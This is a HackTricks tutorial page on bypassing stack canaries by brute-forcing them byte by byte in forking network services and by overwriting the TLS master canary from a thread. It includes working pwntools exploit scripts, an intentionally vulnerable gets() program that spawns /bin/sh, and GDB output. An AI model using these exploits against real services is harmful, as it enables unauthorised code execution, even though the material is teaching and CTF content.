hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
2024-12-12 11:39:29 +01:00

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# BF Forked & Threaded Stack Canaries
{% hint style="success" %}
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{% endhint %}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
{% endhint %}
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-force** a canary if the binary spawns a new thread every time an attack happens.&#x20;
A buffer overflow in a threaded function protected with canary can be used to modify the master canary of the process. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
### Example
The following program is vulnerable to Buffer Overflow, but it is compiled with canary:
```c
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
void win() {
execve("/bin/sh", NULL, NULL);
}
void* vuln() {
char data[0x20];
gets(data);
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, vuln, NULL);
pthread_join(thread, NULL);
return 0;
}
```
Notice that `vuln` is called inside a thread. In GDB we can take a look at `vuln`, specifically, at the point where the program calls `gets` to read input data:
```bash
gef> break gets
Breakpoint 1 at 0x4010a0
gef> run
...
gef> x/10gx $rdi
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
```
The above represents the address of `data`, where the program will write user input. The stack canary is found at `0x7ffff7d7ee48` (`0x493fdc653a156800`), and the return address is at `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
```bash
gef> telescope $rdi 8 -n
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
```
Notice that the stack addresses do not belong to the actual stack:
```bash
gef> vmmap stack
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
```
The thread's stack is placed above the Thread Local Storage (TLS), where the master canary is stored:
```bash
gef> tls
$tls = 0x7ffff7d7f640
...
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
{% hint style="info" %}
Some of the above GDB functions are defined on an extension called [bata24/gef](https://github.com/bata24/gef), which has more features than the usual [hugsy/gef](https://github.com/hugsy/gef).
{% endhint %}
As a result, a large Buffer Overflow can allow to modify both the stack canary and the master canary in the TLS. This is the offset:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
This is a short exploit to call `win`:
```python
from pwn import *
context.binary = 'thread_canary'
payload = b'A' * 0x28 # buffer overflow offset
payload += b'BBBBBBBB' # overwritting stack canary
payload += b'A' * 8 # saved $rbp
payload += p64(context.binary.sym.win) # return address
payload += b'A' * (0x848 - len(payload)) # padding
payload += b'BBBBBBBB' # overwritting master canary
io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Other examples & references
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* 64 bits, no PIE, nx, modify thread and master canary.